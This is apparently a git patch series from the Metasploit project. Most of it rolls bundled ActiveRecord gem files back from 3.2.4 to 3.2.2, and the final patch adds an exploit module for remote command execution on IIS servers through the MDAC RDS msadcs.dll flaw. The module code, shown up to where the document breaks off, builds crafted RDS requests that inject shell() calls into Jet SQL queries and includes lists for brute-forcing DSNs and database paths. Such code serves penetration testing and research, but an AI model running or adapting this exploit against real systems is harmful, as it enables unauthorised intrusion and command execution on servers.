b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping/named.rb @@ -34,7 +34,7 @@ module ActiveRecord if current_scope current_scope.clone else - scope = relation + scope = relation.clone scope.default_scoped = true scope end @@ -48,7 +48,7 @@ module ActiveRecord if current_scope current_scope.scope_for_create else - scope = relation + scope = relation.clone scope.default_scoped = true scope.scope_for_create end @@ -191,7 +191,7 @@ module ActiveRecord protected def valid_scope_name?(name) - if logger && respond_to?(name, true) + if respond_to?(name, true) logger.warn "Creating scope :#{name}. " \ "Overwriting existing method #{self.name}.#{name}." end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/serialization.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/serialization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/serialization.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/serialization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/serializers/xml_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/serializers/xml_serializer.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/serializers/xml_serializer.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/serializers/xml_serializer.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/store.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/store.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/test_case.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/test_case.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/test_case.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/test_case.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/timestamp.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/timestamp.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/timestamp.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/timestamp.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/transactions.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/transactions.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/transactions.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/transactions.rb index 8c93f50926..2c70d31b94 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/transactions.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/transactions.rb @@ -327,8 +327,7 @@ module ActiveRecord @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1 if @_start_transaction_state[:level] < 1 restore_state = remove_instance_variable(:@_start_transaction_state) - was_frozen = @attributes.frozen? - @attributes = @attributes.dup if was_frozen + @attributes = @attributes.dup if @attributes.frozen? @new_record = restore_state[:new_record] @destroyed = restore_state[:destroyed] if restore_state.has_key?(:id) @@ -337,7 +336,6 @@ module ActiveRecord @attributes.delete(self.class.primary_key) @attributes_cache.delete(self.class.primary_key) end - @attributes.freeze if was_frozen end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/translation.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/translation.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/translation.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/translation.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations/associated.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations/associated.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations/associated.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations/associated.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations/uniqueness.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations/uniqueness.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations/uniqueness.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations/uniqueness.rb index 154aacef9f..2e2ea8c42b 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/validations/uniqueness.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/validations/uniqueness.rb @@ -54,13 +54,13 @@ module ActiveRecord def build_relation(klass, table, attribute, value) #:nodoc: column = klass.columns_hash[attribute.to_s] - value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s if value && column.text? + value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s if column.text? if !options[:case_sensitive] && value && column.text? # will use SQL LOWER function before comparison, unless it detects a case insensitive collation relation = klass.connection.case_insensitive_comparison(table, attribute, column, value) else - value = klass.connection.case_sensitive_modifier(value) if value + value = klass.connection.case_sensitive_modifier(value) relation = table[attribute].eq(value) end @@ -81,7 +81,7 @@ module ActiveRecord # # class Person < ActiveRecord::Base # validates_uniqueness_of :user_name, :scope => :account_id - # end + # end # # Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once # per semester for a particular class. diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/version.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/version.rb similarity index 91% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/version.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/version.rb index bf1c540f3e..d776082260 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/version.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/version.rb @@ -2,7 +2,7 @@ module ActiveRecord module VERSION #:nodoc: MAJOR = 3 MINOR = 2 - TINY = 4 + TINY = 2 PRE = nil STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration/migration_generator.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration/migration_generator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration/migration_generator.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration/migration_generator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration/templates/migration.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration/templates/migration.rb similarity index 80% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration/templates/migration.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration/templates/migration.rb index b9b5ec7956..d084a00ed7 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/migration/templates/migration.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/migration/templates/migration.rb @@ -5,7 +5,7 @@ class <%= migration_class_name %> < ActiveRecord::Migration add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %> <%- if attribute.has_index? -%> add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %> - <%- end -%> + <%- end %> <%- end -%> end <%- else -%> @@ -13,9 +13,9 @@ class <%= migration_class_name %> < ActiveRecord::Migration <% attributes.each do |attribute| -%> <%- if migration_action -%> <%= migration_action %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'add' %>, :<%= attribute.type %><%= attribute.inject_options %><% end %> - <%- if attribute.has_index? && migration_action == 'add' -%> + <% if attribute.has_index? && migration_action == 'add' %> add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %> - <%- end -%> + <% end -%> <%- end -%> <%- end -%> end @@ -24,9 +24,6 @@ class <%= migration_class_name %> < ActiveRecord::Migration <% attributes.reverse.each do |attribute| -%> <%- if migration_action -%> <%= migration_action == 'add' ? 'remove' : 'add' %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'remove' %>, :<%= attribute.type %><%= attribute.inject_options %><% end %> - <%- if attribute.has_index? && migration_action == 'remove' -%> - add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %> - <%- end -%> <%- end -%> <%- end -%> end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/model_generator.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/model_generator.rb similarity index 94% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/model_generator.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/model_generator.rb index f3bb70fb41..99a022461e 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/model_generator.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/model_generator.rb @@ -30,10 +30,6 @@ module ActiveRecord attributes.select { |a| a.has_index? || (a.reference? && options[:indexes]) } end - def accessible_attributes - attributes.reject(&:reference?) - end - hook_for :test_framework protected diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/migration.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/migration.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/migration.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/migration.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/model.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/model.rb similarity index 54% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/model.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/model.rb index d56f9f57a4..5c47f8b241 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/model.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/model.rb @@ -3,10 +3,5 @@ class <%= class_name %> < <%= parent_class_name.classify %> <% attributes.select {|attr| attr.reference? }.each do |attribute| -%> belongs_to :<%= attribute.name %> <% end -%> -<% if !accessible_attributes.empty? -%> - attr_accessible <%= accessible_attributes.map {|a| ":#{a.name}" }.sort.join(', ') %> -<% else -%> - # attr_accessible :title, :body -<% end -%> end <% end -%> diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/module.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/module.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/model/templates/module.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/model/templates/module.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/observer/observer_generator.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/observer/observer_generator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/observer/observer_generator.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/observer/observer_generator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/observer/templates/observer.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/observer/templates/observer.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/observer/templates/observer.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/observer/templates/observer.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/session_migration/session_migration_generator.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/session_migration/session_migration_generator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/session_migration/session_migration_generator.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/session_migration/session_migration_generator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/session_migration/templates/migration.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/session_migration/templates/migration.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/rails/generators/active_record/session_migration/templates/migration.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/rails/generators/active_record/session_migration/templates/migration.rb diff --git a/lib/gemcache/ruby/1.9.1/specifications/activerecord-3.2.4.gemspec b/lib/gemcache/ruby/1.9.1/specifications/activerecord-3.2.2.gemspec similarity index 77% rename from lib/gemcache/ruby/1.9.1/specifications/activerecord-3.2.4.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/activerecord-3.2.2.gemspec index e59d3cfee3..c86d1fb8f3 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/activerecord-3.2.4.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/activerecord-3.2.2.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "activerecord" - s.version = "3.2.4" + s.version = "3.2.2" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["David Heinemeier Hansson"] - s.date = "2012-05-31" + s.date = "2012-03-01" s.description = "Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in." s.email = "david@loudthinking.com" s.extra_rdoc_files = ["README.rdoc"] @@ -22,19 +22,19 @@ Gem::Specification.new do |s| s.specification_version = 3 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then - s.add_runtime_dependency(%q, ["= 3.2.4"]) - s.add_runtime_dependency(%q, ["= 3.2.4"]) + s.add_runtime_dependency(%q, ["= 3.2.2"]) + s.add_runtime_dependency(%q, ["= 3.2.2"]) s.add_runtime_dependency(%q, ["~> 3.0.2"]) s.add_runtime_dependency(%q, ["~> 0.3.29"]) else - s.add_dependency(%q, ["= 3.2.4"]) - s.add_dependency(%q, ["= 3.2.4"]) + s.add_dependency(%q, ["= 3.2.2"]) + s.add_dependency(%q, ["= 3.2.2"]) s.add_dependency(%q, ["~> 3.0.2"]) s.add_dependency(%q, ["~> 0.3.29"]) end else - s.add_dependency(%q, ["= 3.2.4"]) - s.add_dependency(%q, ["= 3.2.4"]) + s.add_dependency(%q, ["= 3.2.2"]) + s.add_dependency(%q, ["= 3.2.2"]) s.add_dependency(%q, ["~> 3.0.2"]) s.add_dependency(%q, ["~> 0.3.29"]) end From 251ed30e031c978e0c6606252ec44cbac47f0dab Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 6 Jun 2012 11:08:24 -0500 Subject: [PATCH 03/10] Rollback rails to 3.2.2 to fix asset pipeline issues. --- Gemfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index a17e92f541..8a97cbf4d2 100755 --- a/Gemfile +++ b/Gemfile @@ -1,5 +1,5 @@ source 'http://rubygems.org' -gem 'rails', '3.2.4' +gem 'rails', '3.2.2' gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git" gem 'pg', '>=0.13' gem 'msgpack' From f25b828d314814baa16e62944ccb310da271f0c3 Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Tue, 5 Jun 2012 18:09:07 +1000 Subject: [PATCH 04/10] Added exploit module msadc.rb --- modules/exploits/windows/iis/msadc.rb | 418 ++++++++++++++++++++++++++ 1 file changed, 418 insertions(+) create mode 100644 modules/exploits/windows/iis/msadc.rb diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb new file mode 100644 index 0000000000..53bd669ec7 --- /dev/null +++ b/modules/exploits/windows/iis/msadc.rb @@ -0,0 +1,418 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/tftp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerTFTP + + def initialize + super( + 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution', + 'Description' => %q{ + This module can be used to execute arbitrary commands on IIS servers + that expose the /msadc/msadcs.dll Microsoft Data Access Components + (MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj + or AdvancedDataFactory to inject shell commands into Microsoft Access + databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN). + Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively + used in the wild in the late Ninties. MDAC versions affected include MDAC + 1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS + installed, and NT4 Servers with the NT Option Pack installed or upgraded + 2000 systems often running IIS3/4/5 however some vulnerable installations + can still be found on newer Windows operating systems. Note that newer + releases of msadcs.dll can still be abused however by default remote + connections to the RDS is denied. Consider using VERBOSE if you're unable + to successfully execute a command, as the error messages are detailed + and useful for debugging. Also set NAME to obtain the remote hostname, + and METHOD to use the alternative VbBusObj technique. + }, + 'Author' => 'patrick', + 'Version' => '$Revision$', + 'Platform' => 'win', + 'References' => + [ + ['OSVDB', '272'], + ['BID', '529'], + ['CVE', '1999-1011'], + ['MSB', 'ms98-004'], + ['MSB', 'ms99-025'], + ], + 'Targets' => + [ + # patrickw tested meterpreter OK 20120601 + # nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx + # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 17 1998' + ) + + register_options( + [ + OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), + OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]), + OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]), + OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]), + OptString.new('DBHOST', [ true, "The SQL Server host", 'local']), + OptString.new('DBNAME', [ true, "The SQL Server database", 'master']), + OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']), + OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']), + ], self.class) + end + + def check + res = send_request_raw({ + 'uri' => datastore['PATH'], + 'method' => 'GET', + }, 20) + if (res.code == 200) + print_status("Server responded with HTTP #{res.code} OK") + if (res.body =~ /Content-Type: application\/x-varg/) + print_good("#{datastore['PATH']} matches fingerprint application\/x-varg") + Exploit::CheckCode::Detected + end + else + Exploit::CheckCode::Safe + end + end + + def create_dsn(drive, dsn) + req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr=" + + res = send_request_raw({ + 'uri' => req, + }, 20) + + if (res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) + if (datastore['VERBOSE']) + print_error("DSN CREATE failed for drive #{drive} with #{dsn}.") + end + return false + elsif (res.code == 200 and res.body =~ /

Datasource creation successful<\/H2>/) + print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!") + return true + end + end + + def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB + boundary = rand_text_alphanumeric(8) + method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query" + dsn = Rex::Text.to_unicode(b) + if (b =~ /driver=\{SQL Server\}/) + select = Rex::Text.to_unicode(a + '"' + c + '"') + elsif (c.nil?) + select = Rex::Text.to_unicode(a) + else + select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'") + end + if (datastore['VERBOSE']) + print_status("Attempting to request: #{select} on #{dsn}") + end + + query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}" + + sploit = "--#{boundary}\r\n" + sploit << "Content-Type: application/x-varg\r\n" + sploit << "Content-Length: #{query.length}\r\n\r\n" + sploit << query + sploit << "\r\n--#{boundary}--\r\n" + + data = "ADCClientVersion:01.06\r\n" + data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3' + data << "\r\n\r\n" + data << sploit + + res = send_request_raw({ + 'uri' => datastore['PATH'] + '/' + method, + 'agent' => 'ACTIVEDATA', + 'headers' => + { + 'Content-Length' => data.length, + 'Connection' => "Keep-Alive", + }, + + 'method' => 'POST', + 'data' => data, + + }, 20) + + response = Rex::Text.to_ascii(res.body, 'utf-16be') + + if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./) + print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE']) + return true, a, b + elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./) + print_error("Exploit failed: the server is patched") + break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. + elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/) + print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE']) + elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/) + print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE']) + elsif (response =~ /Disk or network error./) + print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE']) + elsif (response =~ /Syntax error in CREATE TABLE statement/) + print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE']) + elsif (response =~ /Table '(\w+)' already exists/) + print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE']) + elsif (response =~ /Syntax error \(missing operator\) in query expression/) + print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE']) + elsif (response =~ /Too few parameters. Expected 1/) + print_good("Command was probably executed!") + elsif (response =~ /Data source name not found and no default driver specified/) + print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE']) + elsif (response =~ /Couldn't find file/) + print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE']) + elsif (response =~ /Specified SQL server not found/) + print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE']) + elsif (response =~ /General error Unable to open registry key/) + print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE']) + elsif (response =~ /It is in a read-only database/) + print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE']) + elsif (response =~ /Invalid connection/) + print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE']) + elsif (response =~ /\[SQL Server\]Login failed for user/) + print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE']) + elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '""
' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique. + print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE']) + elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval? + print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE']) + else + print_status("Unknown reply - server is likely patched:\n#{response}") + end + return false + end + + def find_exec + # config data - greets to rain forest puppy :) + boundary = rand_text_alphanumeric(8) + + if (datastore['NAME']) # Obtain the hostname if true + + data = "ADCClientVersion:01.06\r\n" + data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0' + data << "\r\n\r\n--#{boundary}--\r\n" + + res = send_request_raw({ + 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', + 'agent' => 'ACTIVEDATA', + 'headers' => + { + 'Content-Length' => data.length, + 'Connection' => "Keep-Alive", + }, + + 'method' => 'POST', + 'data' => data, + + }, 20) + + if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname + print_good("Hostname: #{$1}") + end + end + + drives = ["c","d","e","f","g","h"] + sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ] + dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums", + "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"] + + sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot% + "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", + "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", + "\\system32\\certmdb.mdb", + "\\system32\\ias\\ias.mdb", + "\\system32\\ias\\dnary.mdb", + "\\system32\\certlog\\certsrv.mdb" ] + + mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows + "\\cfusion\\cfapps\\forums\\forums_.mdb", + "\\cfusion\\cfapps\\forums\\data\\forums.mdb", + "\\cfusion\\cfapps\\security\\realm_.mdb", + "\\cfusion\\cfapps\\security\\data\\realm.mdb", + "\\cfusion\\database\\cfexamples.mdb", + "\\cfusion\\database\\cfsnippets.mdb", + "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", + "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", + "\\cfusion\\brighttiger\\database\\cleam.mdb", + "\\cfusion\\database\\smpolicy.mdb", + "\\cfusion\\database\\cypress.mdb", + "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", + "\\website\\cgi-win\\dbsample.mdb", + 